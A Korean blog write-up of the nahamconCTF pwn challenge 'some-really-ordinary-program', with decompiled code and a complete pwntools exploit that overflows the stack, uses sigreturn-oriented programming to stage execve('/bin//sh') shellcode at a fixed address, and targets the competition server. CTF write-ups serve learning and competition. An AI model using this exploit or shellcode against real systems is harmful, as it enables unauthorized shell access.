Pwnstar

nahamconCTF some-really-ordinary-program 본문

CTF

nahamconCTF some-really-ordinary-program

포너블처돌이 2021. 3. 15. 15:29

hack the box에서 sick rop와 상당히 비슷한 문제여서 별 생각 안하고 빨리 풀 수 있었던 것 같다.

어셈블리어로 작성된 바이너리인데,

__int64 main()
{
  size_t v0; // rax
  char buf; // [rsp+0h] [rbp-1F4h]

  write(::buf, 31uLL);
  v0 = read(&buf, 800uLL);
  return write(&buf, v0);
}

다행히

보호기법은 하나도 걸려있지 않고, seccomp도 없다. 다만 rax를 설정할 수 있는 가젯이 없어서 write함수의 return값을 이용해서 설정해줘야 한다. 설명할 것은 별로 없고, 처음 입력 때에 뒤에 SROP를 위한 값들을 미리 넣어주고, 두 번째 입력때에 dummy를 15개 넣어주면 srop가 가능하고 이걸로 고정 주소 부분에 shellcode를 입력해 놓고, 이 부분으로 rip를 돌리면 된다.

 

ex.py

from pwn import*
import argparse


syscall = 0x000000000040100e
ret = 0x0000000000401010
leaveret = 0x000000000040105b 
main = 0x0000000000401062
read = 0x0000000000401006

shell = "\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

def exp():
    payload = "A"*0x1FC
    payload += p64(read)
    payload += p64(syscall)

    frame = SigreturnFrame(arch="amd64")
    frame.rax = 0
    frame.rdi = 0
    frame.rsi = 0x402050
    frame.rdx = 0x200
    frame.rsp = 0x402050
    frame.rip = syscall

    payload += str(frame)
    payload += p64(0x402050)
    p.sendafter("\n", payload)

    raw_input()
    payload2 = "A"*15
    p.send(payload2)

    raw_input()
    payload3 = p64(0x4020a0)
    payload3 += p64(0)*9
    payload3 += shell

    p.sendline(payload3)

    p.interactive()


if __name__ == '__main__' :
    context.arch = 'amd64'
    #context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

    parser = argparse.ArgumentParser()
    parser.add_argument('-r', '--remote', action='store_true')
    args = parser.parse_args()

    if args.remote :
        p = remote("challenge.nahamcon.com", 32070)
    else:
        p = process(['./some-really-ordinary-program'])
        bp = 0x000000000040104F
        script='''
        b*{}
        '''.format(hex(bp))
        gdb.attach(p, script)

    exp()

 

'CTF' 카테고리의 다른 글

nahamconCTF Rock Paper Scissors  (0) 2021.03.15
nahamcon CTF Sort It!  (0) 2021.03.15
zer0ptsCTF oneshot  (0) 2021.03.08
diceCTF flippidy  (0) 2021.02.08
CSAW CTF bard's fail  (0) 2020.09.18
Comments